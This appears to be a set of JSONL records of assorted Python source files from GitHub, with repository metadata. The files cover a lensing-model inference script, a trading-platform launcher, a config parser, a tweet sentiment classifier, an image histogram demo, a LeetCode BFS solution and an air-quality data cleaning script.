+{"seq_id":"29080544158","text":"import tensorflow as tf\nfrom censai.models import Model, VAE\nfrom censai import PhysicalModel, RIM\nimport h5py, os, json\nimport numpy as np\nfrom scipy.stats import truncnorm\n\n# total number of slurm workers detected\n# defaults to 1 if not running under SLURM\nN_WORKERS = int(os.getenv('SLURM_ARRAY_TASK_COUNT', 1))\n\n# this worker's array index. Assumes slurm array job is zero-indexed\n# defaults to zero if not running under SLURM\nTHIS_WORKER = int(os.getenv('SLURM_ARRAY_TASK_ID', 0)) ## it starts from 1!!\n\n\ndef main(args):\n with open(os.path.join(args.kappa_model, \"model_hparams.json\"), \"r\") as f:\n kappa_vae_hparams = json.load(f)\n kappa_vae = VAE(**kappa_vae_hparams)\n ckpt1 = tf.train.Checkpoint(step=tf.Variable(1), net=kappa_vae)\n checkpoint_manager1 = tf.train.CheckpointManager(ckpt1, args.kappa_model, 1)\n checkpoint_manager1.checkpoint.restore(checkpoint_manager1.latest_checkpoint).expect_partial()\n\n with open(os.path.join(args.source_model, \"model_hparams.json\"), \"r\") as f:\n source_vae_hparams = json.load(f)\n source_vae = VAE(**source_vae_hparams)\n ckpt2 = tf.train.Checkpoint(step=tf.Variable(1), net=source_vae)\n checkpoint_manager2 = tf.train.CheckpointManager(ckpt2, args.source_model, 1)\n checkpoint_manager2.checkpoint.restore(checkpoint_manager2.latest_checkpoint).expect_partial()\n\n phys = PhysicalModel(pixels=128, method=\"fft\")\n\n with open(os.path.join(args.model, \"unet_hparams.json\")) as f:\n unet_params = json.load(f)\n unet = Model(**unet_params)\n ckpt = tf.train.Checkpoint(net=unet)\n checkpoint_manager = tf.train.CheckpointManager(ckpt, args.model, 1)\n checkpoint_manager.checkpoint.restore(checkpoint_manager.latest_checkpoint).expect_partial()\n with open(os.path.join(args.model, \"rim_hparams.json\")) as f:\n rim_params = json.load(f)\n rim_params[\"source_link\"] = \"relu\"\n rim = RIM(phys, unet, **rim_params)\n\n with h5py.File(os.path.join(os.getenv(\"CENSAI_PATH\"), \"results\", f\"rim_pred_on_vae_{THIS_WORKER:02d}.h5\"), \"w\") as hf:\n hf.create_dataset(\"observation\", shape=[args.total, phys.pixels, phys.pixels])\n hf.create_dataset(\"kappa\", shape=[args.total, phys.kappa_pixels, phys.kappa_pixels])\n hf.create_dataset(\"source\", shape=[args.total, phys.src_pixels, phys.src_pixels])\n hf.create_dataset(\"observation_pred\", shape=[args.total, phys.pixels, phys.pixels])\n hf.create_dataset(\"kappa_pred\", shape=[args.total, phys.pixels, phys.pixels])\n hf.create_dataset(\"source_pred\", shape=[args.total, phys.pixels, phys.pixels])\n hf.create_dataset(\"noise_rms\", shape=[args.total])\n hf.create_dataset(\"psf_fwhm\", shape=[args.total])\n hf.create_dataset(\"chi_squared\", shape=[args.total])\n hf.create_dataset(\"kappa_mse\", shape=[args.total])\n hf.create_dataset(\"source_mse\", shape=[args.total])\n\n for batch in range(args.total//args.batch_size):\n z = tf.random.normal(shape=[args.batch_size, source_vae.latent_size])\n source = tf.nn.relu(source_vae.decode(z))\n source /= tf.reduce_max(source, axis=(1, 2, 3), keepdims=True)\n z = tf.random.normal(shape=[args.batch_size, kappa_vae.latent_size])\n kappa = 10**kappa_vae.decode(z)\n noise_rms = truncnorm.rvs(1e-3, 0.1, loc=0.02, scale=0.02, size=args.batch_size)\n psf_fwhm = truncnorm.rvs(phys.image_fov/128, 4*phys.image_fov/128, loc=1.5*phys.image_fov/128, scale=0.5*phys.image_fov/128, size=args.batch_size)\n psf = phys.psf_models(psf_fwhm, cutout_size=20)\n obs = phys.noisy_forward(source, kappa, noise_rms, psf)\n source_pred, kappa_pred, chisq = rim.predict(obs, noise_rms, psf)\n source_mse = tf.reduce_mean((source_pred[-1] - source)**2, axis=(1, 2, 3))\n kappa_mse = tf.reduce_mean((kappa_pred[-1] - kappa)**2, axis=(1, 2, 3))\n obs_pred = phys.forward(source_pred[-1], kappa_pred[-1], psf)\n\n start = batch * args.batch_size\n end = (batch+1) * args.batch_size\n hf[\"observation\"][start:end] = obs.numpy().squeeze().astype(np.float32)\n hf[\"source\"][start:end] = source.numpy().squeeze().astype(np.float32)\n hf[\"kappa\"][start:end] = kappa.numpy().squeeze().astype(np.float32)\n hf[\"observation_pred\"][start:end] = obs_pred.numpy().squeeze().astype(np.float32)\n hf[\"kappa_pred\"][start:end] = kappa_pred[-1].numpy().squeeze().astype(np.float32)\n hf[\"source_pred\"][start:end] = source_pred[-1].numpy().squeeze().astype(np.float32)\n hf[\"chi_squared\"][start:end] = chisq[-1].numpy().squeeze().astype(np.float32)\n hf[\"source_mse\"][start:end] = source_mse.numpy().astype(np.float32)\n hf[\"kappa_mse\"][start:end] = kappa_mse.numpy().astype(np.float32)\n hf[\"noise_rms\"][start:end] = noise_rms.astype(np.float32)\n hf[\"psf_fwhm\"][start:end] = psf_fwhm.astype(np.float32)\n\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n parser = ArgumentParser()\n parser.add_argument(\"--model\", required=True, help=\"Full path to the model checkpoints\")\n parser.add_argument(\"--source_model\", required=True, help=\"Full path to source VAE checkpoints\")\n parser.add_argument(\"--kappa_model\", required=True, help=\"Full path to kappa VAE checkpoints\")\n parser.add_argument(\"--batch_size\", default=10, type=int)\n parser.add_argument(\"--total\", default=1000, type=int)\n\n args = parser.parse_args()\n main(args)","repo_name":"AlexandreAdam/Censai","sub_path":"scripts/rim_pred_on_vae.py","file_name":"rim_pred_on_vae.py","file_ext":"py","file_size_in_byte":5547,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"42302609774","text":"import json\r\nimport os\r\nimport platform\r\nimport sys\r\nimport threading\r\n\r\nfrom multi_tasking import JobServer, SubProcessManager\r\nfrom tasks import KeepConnectionAlive\r\nfrom trade_interface import TradeInterface\r\nfrom trading_platform_servers import QuoteServer, GraphServer\r\nfrom trading_platform_shell import ShellServer\r\n\r\n#\r\n#\r\n#\r\nif __name__ == '__main__':\r\n # Default configuration.\r\n offline = False\r\n\r\n # Ensure to run in root directory.\r\n current_src_path = os.path.dirname(os.path.realpath(__file__))\r\n os.chdir(current_src_path)\r\n\r\n print('*')\r\n print('* Trading Platform')\r\n print('* Copyright (c) 2018 Luca Ballan')\r\n print('*')\r\n print('THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR')\r\n print('IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,')\r\n print('FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE')\r\n print('AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER')\r\n print('LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,')\r\n print('OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE')\r\n print('SOFTWARE.')\r\n print('*')\r\n print('BY USING THIS SOFTWARE YOU ARE ACCEPTING THE FACT THAT IT WILL HAVE ACCESS TO ALL')\r\n print('YOUR E*TRADE ACCOUNT DATA, AND THAT IT CAN AUTOMATICALLY PLACE ORDERS THAT YOU DO')\r\n print('OR YOU DO NOT WANT.')\r\n print('*')\r\n print('THIS IS NOT A BUG FREE SOFTWARE AND MANY FUNCTIONALITIES HAVE NOT BEEN TESTED.')\r\n print('USE THIS SOFTWARE AT YOUR OWN RISK.')\r\n print('*')\r\n while True:\r\n answer = input('Do you agree [y/n]? ').lower()\r\n if answer == 'y':\r\n break\r\n if answer == 'n' or answer == 'no':\r\n exit(0)\r\n print('')\r\n\r\n # Parse command line.\r\n clear_jobs = False\r\n use_sandbox = False\r\n for arg in sys.argv[1:]:\r\n if arg.lower() == 'clear':\r\n clear_jobs = True\r\n print('Clear existing jobs.')\r\n if arg.lower() == 'sandbox':\r\n use_sandbox = True\r\n print('Use sandbox.')\r\n\r\n # Load keys.\r\n with open('keys.txt', 'r') as fp:\r\n keys = json.load(fp)\r\n if (use_sandbox and keys['sandbox']['consumer_key'] == '') or (not use_sandbox and keys['production']['consumer_key'] == ''):\r\n print('Consumer key and secret need to be set in keys.txt for the platform to connect to your account.')\r\n print('See README.md for additional information.')\r\n print('')\r\n exit(0)\r\n\r\n # Load preferences.\r\n with open('preferences.txt', 'r') as fp:\r\n preferences = json.load(fp)\r\n\r\n # Load settings.\r\n with open('settings.txt', 'r') as fp:\r\n settings = json.load(fp)\r\n browser_path = settings['browser_path_' + platform.system()]\r\n quote_update_time = settings['quote_update_time_sec']\r\n job___update_time = settings['job___update_time_sec']\r\n\r\n # Start JobServer.\r\n job_server = JobServer()\r\n job_server.load_or_create(status_file_path='status.pickle', clear_jobs=clear_jobs)\r\n job_server.time_frequency_sec = job___update_time\r\n\r\n # Init TradeInterface.\r\n trade_interface = TradeInterface(keys=keys, use_sandbox=use_sandbox, browser_path=browser_path)\r\n\r\n # Init QuoteServer.\r\n quote_server = QuoteServer(trade_interface)\r\n QuoteServer.time_frequency_sec = quote_update_time\r\n\r\n # Init GraphServer\r\n graph_server = GraphServer()\r\n quote_figure_manager = SubProcessManager()\r\n\r\n # Share data across tasks -> JobServer\r\n # -> TradeInterface\r\n # -> GraphServer\r\n # -> QuoteFigureServer\r\n # -> QuoteServer\r\n aux_data = {'job_server': job_server,\r\n 'trade': trade_interface,\r\n 'quote_server': quote_server,\r\n 'figure_server': graph_server,\r\n 'quote_figure_manager': quote_figure_manager,\r\n 'preferences': preferences,\r\n 'main_thread_quit_event': threading.Event(),\r\n 'settings': settings,\r\n }\r\n job_server.aux_data = aux_data\r\n graph_server.aux_data = aux_data\r\n shell_server = ShellServer(aux_data)\r\n\r\n # Connect trade_interface.\r\n if not offline:\r\n print('Connecting to the trading platform...')\r\n if not trade_interface.connect():\r\n exit(0)\r\n\r\n try:\r\n # Init trade_interface.\r\n if not offline:\r\n trade_interface.select_account()\r\n job_server.add(KeepConnectionAlive(job_server.next_valid_task_id()))\r\n\r\n # Start job_server, quote_server, shell_server.\r\n job_server.start()\r\n quote_server.start()\r\n shell_server.start()\r\n\r\n # Main Loop.\r\n graph_server.loop()\r\n\r\n except Exception as e:\r\n print(str(e))\r\n\r\n finally:\r\n # Stop shell server.\r\n if shell_server.is_alive():\r\n shell_server.join()\r\n\r\n # Check if job_server is still alive and stop it.\r\n # It should not be running here unless an exception had happened.\r\n if job_server.is_alive():\r\n job_server.quit()\r\n job_server.join()\r\n job_server.list_done_tasks()\r\n\r\n # Stop quote_server.\r\n if quote_server.is_alive():\r\n quote_server.quit()\r\n quote_server.join()\r\n\r\n # Stop trade_interface.\r\n if not offline:\r\n try:\r\n trade_interface.disconnect()\r\n print('Trading platform disconnected.')\r\n except Exception as e:\r\n print('Trading platform disconnection: FAILED')\r\n print(str(e))\r\n\r\n # Kill all quote_figure in manager.\r\n quote_figure_manager.remove_all()\r\n\r\n print('Main thread stopped.')\r\n","repo_name":"LucaBallan/PythonTradingPlatform","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"}
+{"seq_id":"5510731956","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: jmrodriguezc\r\n\"\"\"\r\n\r\n# import global modules\r\nimport os\r\nimport sys\r\nimport argparse\r\nimport logging\r\nimport pandas as pd\r\n\r\n#########################\r\n# Import local packages #\r\n#########################\r\nsys.path.append(f\"{os.path.dirname(__file__)}/../libs\")\r\nimport common\r\n\r\n###################\r\n# Parse arguments #\r\n###################\r\n\r\nparser = argparse.ArgumentParser(\r\n description='Retrieve the N rows from the given file.',\r\n epilog='''Usages:\r\n \r\n python get_n_rows.py -c config.ini\r\n \r\n Note: Please read the config file to determine which parameters should be used.\r\n ''',\r\n formatter_class=argparse.RawTextHelpFormatter)\r\nparser.add_argument('-c', required=True, help='Config input file in YAML format')\r\nargs = parser.parse_args()\r\n\r\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\r\n\r\n# get the name of script\r\nscript_name = os.path.splitext( os.path.basename(__file__) )[0].upper()\r\n\r\n\r\n#################\r\n# Main function #\r\n#################\r\ndef main(args):\r\n '''\r\n Main function\r\n ''' \r\n logging.info(\"getting the input parameters...\")\r\n conf_args = common.read_config(script_name, args.c)\r\n [ print(f\"{k} = {v}\") for k,v in conf_args.items() ]\r\n ifile = conf_args['infile']\r\n n_rows = int(conf_args['n_rows'])\r\n ofile = conf_args['outfile']\r\n \r\n logging.info(\"reading input file...\")\r\n data = pd.read_csv(ifile, sep=\"\\t\", nrows=n_rows, low_memory=False)\r\n\r\n logging.info(\"printing the output file...\")\r\n data.to_csv(ofile, sep=\"\\t\", index=False)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # start main function\r\n logging.info('start script: '+\"{0}\".format(\" \".join([x for x in sys.argv])))\r\n main(args)\r\n logging.info('end script')\r\n\r\n","repo_name":"CNIC-Proteomics/SANPRO","sub_path":"basic/get_n_rows.py","file_name":"get_n_rows.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10676798866","text":"#coding:utf-8\r\n# By:Eastmount CSDN 2021-02-05\r\nimport cv2 \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#读取图像\r\nsrc = cv2.imread('Lena.png')\r\n\r\n#获取BGR三个通道的像素值\r\nb, g, r = cv2.split(src)\r\nprint(r,g,b)\r\n\r\n#绘制直方图\r\nplt.figure(\"Lena\")\r\n#蓝色分量\r\nplt.hist(b.ravel(), bins=256, density=1, facecolor='b', edgecolor='b', alpha=0.75)\r\n#绿色分量\r\nplt.hist(g.ravel(), bins=256, density=1, facecolor='g', edgecolor='g', alpha=0.75)\r\n#红色分量\r\nplt.hist(r.ravel(), bins=256, density=1, facecolor='r', edgecolor='r', alpha=0.75)\r\nplt.xlabel(\"x\")\r\nplt.ylabel(\"y\")\r\nplt.show()\r\n\r\n#显示原始图像\r\ncv2.imshow(\"src\", src)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"eastmountyxz/ImageProcessing-Python","sub_path":"blog37-histogram/blog37-02.py","file_name":"blog37-02.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"ja","doc_type":"code","stars":1547,"dataset":"github-code","pt":"3"}
+{"seq_id":"43314423610","text":"import customtkinter as tk\nfrom Modulo import *\n\ndef clique():\n if check.get() == 1:\n texto1.configure(text=\"Marcado\")\n elif check.get() == 0:\n texto1.configure(text=\"Desmarcado\")\n bar.set(0)\n\n\n\njanela = CriarJanela(\"Janela\", \"400x350\", 1)\ntexto1 = CriarLabel(janela, \"Name\", 6, 6)\ntexto1.grid(stick = \"SW\")\ntexto1.configure(text_color=\"Black\", font=(\"Arial\",16),justify=\"center\")\ninput1 = CriarInput(janela,Largura=200, Altura=30, Linha=7, Coluna=6, Texto=\"Clique aqui\")\ninput1.grid(stick = \"NW\")\nbtn1 = CriarBotao(janela, Texto=\"Clique aqui\", Comando=clique , Linha=8, Coluna=6, Largura=50, Altura=30)\n\n\njanela.mainloop()","repo_name":"nicolasdosantos/python-TI","sub_path":"Interface-Grafica/aula3.py","file_name":"aula3.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10769808313","text":"from threading import Lock\nfrom class_def import *\nimport numpy as np\n\nimport sys\nsys.path.insert(1,'../utils/')\nfrom common_class import *\nimport GlobalVariables\n\n\nHOST = '127.0.0.1'\nGPS_BUFFER = 1024\nIMU_BUFFER = 1024\nRSSI_BUFFER = 1024\nPORT_GPS = GlobalVariables.EKF_GPS_RECEIVE_SOCKET\nPORT_IMU = GlobalVariables.EKF_IMU_RECEIVE_SOCKET\nPORT_RSSI = GlobalVariables.EKF_RSSI_RECEIVE_SOCKET\nSYSID = 1\nEKF_OUTPUT_DISTRO_SOCKET = GlobalVariables.EKF_OUTPUT_DISTRO_SOCKET\nEKF_LOGGER_SOCKET_TIMEOUT = 36000\n\nC_NED_ENU = np.array([[0,1, 0],[1,0,0],[0,0,-1]]) \nC_ENU_NED = np.array([[0,1, 0],[1,0,0],[0,0,-1]]) \n\nN_BALLOON = GlobalVariables.N_BALLOON\nN_REAL_BALLOON = GlobalVariables.N_REAL_BALLOON\nLOOPTIME = GlobalVariables.EKF_LOOPTIME\n\nRSSI_CALIBRATION_SIZE = GlobalVariables.EKF_RSSI_CALIBRATION_SIZE\nRSSI_DISTANCE_ARRAY = np.zeros([1,N_REAL_BALLOON-1])\nGPS_DISTANCE_ARRAY = np.zeros([1,N_REAL_BALLOON-1])\nY = [np.zeros([1,1]), np.zeros([1,1])]\nX = [np.zeros([1,2]), np.zeros([1,2])]\nRSSI_PARAMS = [np.ones([1,2]), np.ones([1,2])]\nRSSI_CALIBRATION_FINISHED = [False]*(N_REAL_BALLOON-1)\n\nLAT_REF = GlobalVariables.LAT_REF\nLON_REF = GlobalVariables.LON_REF\nALT_REF = GlobalVariables.ALT_REF\n\nANCHOR = GlobalVariables.EKF_ANCHOR\nREAL_BALLOON = GlobalVariables.REAL_BALLOON\n\nGPS_TIMEOUT = 36000\nIMU_TIMEOUT = 36000\nRSSI_TIMEOUT = 36000\n\n\n\n\nRSSI = np.array([RSSI()]*(N_REAL_BALLOON-1))\nGPS_ALL = np.array([GPS()]*N_BALLOON)\nIMU_ALL = IMU()\nGPS_REF = GPS(None, LAT_REF, LON_REF, ALT_REF)\n\n\nEKF_BUFFER = []\n\nEKF_BUFFER_MUTEX = Lock()\n\n\nBREAK_GPS_THREAD = False\nBREAK_IMU_THREAD = False\nBREAK_RSSI_THREAD = np.array([False]*(N_REAL_BALLOON-1))\nBREAK_EKF_DISTRO_THREAD = False\n\nBREAK_GPS_THREAD_MUTEX= Lock()\nBREAK_IMU_THREAD_MUTEX = Lock()\nBREAK_RSSI_THREAD_MUTEX = np.array([Lock()]*(N_REAL_BALLOON-1))\nBREAK_EKF_DISTRO_THREAD_MUTEX = Lock()\n\nRSSI_UPDATE_MUTEX = np.array([Lock()]*(N_REAL_BALLOON-1))\nIMU_UPDATE_MUTEX = Lock()\nGPS_UPDATE_MUTEX = Lock()\n","repo_name":"wenchao23/HAB","sub_path":"EKF-3Balloons/GlobalVals.py","file_name":"GlobalVals.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3600807742","text":"import os\nimport sys\nimport warnings\n\nimport re\nimport toml\nfrom string import Template\nfrom pdo.common.utility import find_file_in_path\n\n__all__ = [ \"ConfigurationException\", \"parse_configuration_files\", \"parse_configuration_file\" ]\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\nclass ConfigurationException(Exception) :\n \"\"\"\n A class to capture configuration exceptions.\n \"\"\"\n\n def __init__(self, filename, message) :\n super().__init__(self, \"Error in configuration file {0}: {1}\".format(filename, message))\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\ndef parse_configuration_files(cfiles, search_path, variable_map = None) :\n \"\"\"\n Locate and parse a collection of configuration files stored in a\n TOML format.\n\n :param list(str) cfiles: list of configuration files to load\n :param list(str) search_path: list of directores where the files may be located\n :param dict variable_map: a set of substitutions for variables in the files\n :return dict:an aggregated dictionary of configuration information\n \"\"\"\n config = {}\n files_found = []\n\n try :\n for cfile in cfiles :\n files_found.append(find_file_in_path(cfile, search_path))\n except FileNotFoundError as e :\n raise ConfigurationException(e.filename, e.strerror)\n\n for filename in files_found :\n try :\n config.update(parse_configuration_file(filename, variable_map))\n except IOError as detail :\n raise ConfigurationException(filename, \"IO error; {0}\".format(str(detail)))\n except ValueError as detail :\n raise ConfigurationException(filename, \"Value error; {0}\".format(str(detail)))\n except NameError as detail :\n raise ConfigurationException(filename, \"Name error; {0}\".format(str(detail)))\n except KeyError as detail :\n raise ConfigurationException(filename, \"Key error; {0}\".format(str(detail)))\n except :\n raise ConfigurationException(filename, \"Unknown error\")\n\n return config\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\ndef expand_expressions(text, variable_map) :\n \"\"\"expand expressions found in a string, an expression is given\n in a ${{expr}}. For example, ${{port+5}} will expand to 7005 if\n port is set to 7000 in the variable_map.\n\n :param string text: template text\n :param dict variable_map: dictionary of variable bindings\n \"returns string: text with expressions evaluated.\n \"\"\"\n for item in re.findall(r'\\${{(.*)}}', text, re.MULTILINE) :\n exp = '${{%s}}' % item\n val = str(eval(item, variable_map))\n text = text.replace(exp, val)\n\n return text\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\ndef parse_configuration_file(filename, variable_map) :\n \"\"\"\n Parse a configuration file expanding variable references\n using the Python Template library (variables are $var format)\n\n :param string filename: name of the configuration file\n :param dict variable_map: dictionary of expansions to use\n :returns dict: dictionary of configuration information\n \"\"\"\n\n cpattern = re.compile('##.*$')\n\n with open(filename) as fp :\n lines = fp.readlines()\n\n text = \"\"\n for line in lines :\n text += re.sub(cpattern, '', line) + ' '\n\n if variable_map :\n text = expand_expressions(text, variable_map)\n text = Template(text).safe_substitute(variable_map)\n\n return toml.loads(text)\n","repo_name":"Yeuman/project4","sub_path":"common/crypto/pdo/python/pdo/common/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27049169143","text":"from nltk.corpus import twitter_samples\nfrom nltk.tag import pos_tag\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk import NaiveBayesClassifier\nimport re, string\nfrom nltk.corpus import stopwords\nimport random\nfrom nltk.tokenize import word_tokenize\n\n# removing noise using regex\n\ndef remove_noise(tweet_tokens, stop_words=stopwords.words('english')):\n\n cleaned_tokens = []\n\n for token, tag in pos_tag(tweet_tokens):\n\n #original_re = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+#]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n my_re = 'http[s]?:\\/\\/(\\S|(%[0-9a-fA-F][0-9a-fA-F]))+'\n\n token = re.sub(my_re, \"\", token)\n token = re.sub(\"(@[A-Za-z_]+)\", \"\", token)\n \n if tag.startswith('NN'):\n pos = 'n'\n elif tag.startswith('VB'):\n pos = 'v'\n else:\n pos = 'a'\n\n lemmatizer = WordNetLemmatizer()\n token = lemmatizer.lemmatize(token, pos)\n\n if len(token) > 0 and token not in string.punctuation and token.lower() not in stop_words:\n cleaned_tokens.append(token.lower())\n\n return cleaned_tokens\n\n'''\ndef get_all_words(cleaned_tokens_list):\n for tokens in cleaned_tokens_list:\n for token in tokens:\n yield token\n'''\n\n\ndef get_tweets_for_model(cleaned_tokens_list):\n for tweet_tokens in cleaned_tokens_list:\n yield dict([token, True] for token in tweet_tokens)\n\n# input: list of tweet texts\n# - tokenizes tweets\n# - removes noise\n# - casts each token into a dict {token: True} to prepare it for the model\n# - \ndef classifier():\n\n positive_tweets = twitter_samples.tokenized(\"positive_tweets.json\")\n negative_tweets = twitter_samples.tokenized(\"negative_tweets.json\")\n\n positive_cleaned_tokens_list = []\n negative_cleaned_tokens_list = []\n\n for tokens in positive_tweets:\n positive_cleaned_tokens_list.append(remove_noise(tokens))\n\n for tokens in negative_tweets:\n negative_cleaned_tokens_list.append(remove_noise(tokens))\n\n '''\n all_pos = get_all_words(positive_cleaned_tokens_list)\n all_neg = get_all_words(negative_cleaned_tokens_list)\n\n #req_dist_pos = FreqDist(all_pos)\n freq_dist_neg = FreqDist(all_neg)\n '''\n\n pos_tokens_model = get_tweets_for_model(positive_cleaned_tokens_list)\n neg_tokens_model = get_tweets_for_model(negative_cleaned_tokens_list)\n\n # splitting into training and testing sets\n\n pos_dataset = [(tweet_dict, \"Positive\") for tweet_dict in pos_tokens_model]\n neg_dataset = [(tweet_dict, \"Negative\") for tweet_dict in neg_tokens_model]\n\n dataset = pos_dataset + neg_dataset\n\n random.shuffle(dataset)\n\n train_data = dataset[:7000]\n\n # building and training a model\n\n classifier = NaiveBayesClassifier.train(train_data)\n\n return classifier\n\ndef prepare_tweet(tweet):\n tokens = word_tokenize(tweet)\n clean_tokens = remove_noise(tokens)\n return dict([token, True] for token in clean_tokens)\n\n\n# testing stuff\nif __name__ == '__main__':\n\n classifier = classifier()\n tweet = \"Fuck that stupid piece of shit company, never using them again.\"\n print(classifier.classify(prepare_tweet(tweet)))","repo_name":"ericsson-c/sentiment-analyzer","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18283053702","text":"'''\nAuthor: fghpdf\nDate: 2022-02-04 09:16:45\nLastEditTime: 2022-02-04 09:29:02\nLastEditors: fghpdf\n'''\nimport collections\nfrom typing import List\nimport unittest\n\nclass Solution:\n def getFood(self, grid: List[List[str]]) -> int:\n if len(grid) == 0 or len(grid[0]) == 0:\n return -1\n\n rowLen = len(grid)\n colLen = len(grid[0])\n dirs = [(1,0),(0,-1),(-1,0),(0,1)]\n\n q = collections.deque()\n # find the start point\n for row in range(rowLen):\n for col in range(colLen):\n if grid[row][col] == \"*\":\n q.append((row, col, 0))\n break\n\n # BFS\n while q:\n row, col, step = q.popleft()\n for y, x in dirs:\n newRow = y + row\n newCol = x + col\n # check edge\n if newRow >= 0 and newRow < rowLen and newCol >= 0 and newCol < colLen and grid[newRow][newCol] in ('#', 'O'):\n # found food\n if grid[newRow][newCol] == '#':\n return step+1\n # visited\n grid[newRow][newCol] = '|'\n q.append((newRow, newCol, step+1))\n return -1\n \n\nclass TestSolution(unittest.TestCase):\n def testGetFood(self):\n sol = Solution()\n self.assertEqual(sol.getFood([[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],[\"X\",\"*\",\"O\",\"O\",\"O\",\"X\"],[\"X\",\"O\",\"O\",\"#\",\"O\",\"X\"],[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"]]), 3)\n self.assertEqual(sol.getFood([[\"X\",\"X\",\"X\",\"X\",\"X\"],[\"X\",\"*\",\"X\",\"O\",\"X\"],[\"X\",\"O\",\"X\",\"#\",\"X\"],[\"X\",\"X\",\"X\",\"X\",\"X\"]]), -1)\n self.assertEqual(sol.getFood([[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],[\"X\",\"*\",\"O\",\"X\",\"O\",\"#\",\"O\",\"X\"],[\"X\",\"O\",\"O\",\"X\",\"O\",\"O\",\"X\",\"X\"],[\"X\",\"O\",\"O\",\"O\",\"O\",\"#\",\"O\",\"X\"],[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"]]), 6)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"fghpdf/leetcode","sub_path":"py/shortest_path_to_get_food/shortest_path_to_get_food.py","file_name":"shortest_path_to_get_food.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"4872357219","text":"import pandas as pd\nimport numpy as np\n\npd.set_option('display.max_rows', None)\npd.set_option('display.max_columns', None)\ndf = pd.read_csv(\"../im/Average_daily_airQualityInfo_2018.csv\", engine='python')\ndf.rename(columns={\"측정일자\": \"cdate\", \"권역코드\": \"acode\", \"권역명\": \"aname\", \"측정소코드\": \"scode\",\n \"측정소명\": \"sname\", \"미세먼지(㎍/㎥)\": \"fdust\", \"초미세먼지(㎍/㎥)\": \"ufdust\",\n \"오존(ppm)\": \"ozone\", \"이산화질소농도(ppm)\": \"nd\", \"일산화탄소농도(ppm)\": \"cm\", \"아황산가스농도(ppm)\": \"sagas\"},\n inplace=True)\n# print(df.columns)\n\ncleaning_filter = ((df['fdust'] == 0) & (df['ufdust'] == 0) & (df['ozone'] == 0) & (\n df['nd'] == 0) & (df['cm'] == 0) & (df['sagas'] == 0))\n# cleaning_df = cleaning_df.drop(cleaning_df.index)\ncleaning_df = df[cleaning_filter]\ncleaning_df = df.drop(cleaning_df.index)\n# df_delete = df[df.fdust != 0]\n# print(df_delete)\ncleaning_df.to_csv(\"data1.csv\", encoding='ms949', index=False)\n\n\"\"\"\ndef read_data(file):\n f = open(file, 'r')\n data = csv.reader(f)\n for line in data:\n print(line)\n return data\n\"\"\"\n","repo_name":"thoonk/DataScience","sub_path":"assignment1_regression/assignment1_dataCleaning.py","file_name":"assignment1_dataCleaning.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"15951079258","text":"#!/bin/python3\n\nimport sys\n\n\nn = int(input().strip())\nheight = [int(height_temp) for height_temp in input().strip().split(' ')]\n\nmaximum = max(height)\ncount = 0\n\nfor m in height:\n if m == maximum:\n count += 1\n\nprint(count)\n","repo_name":"tkhwang/tkhwang-algorithm","sub_path":"__others/hacker-rank/algorithm/warm/birthday-cake-candles.py","file_name":"birthday-cake-candles.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
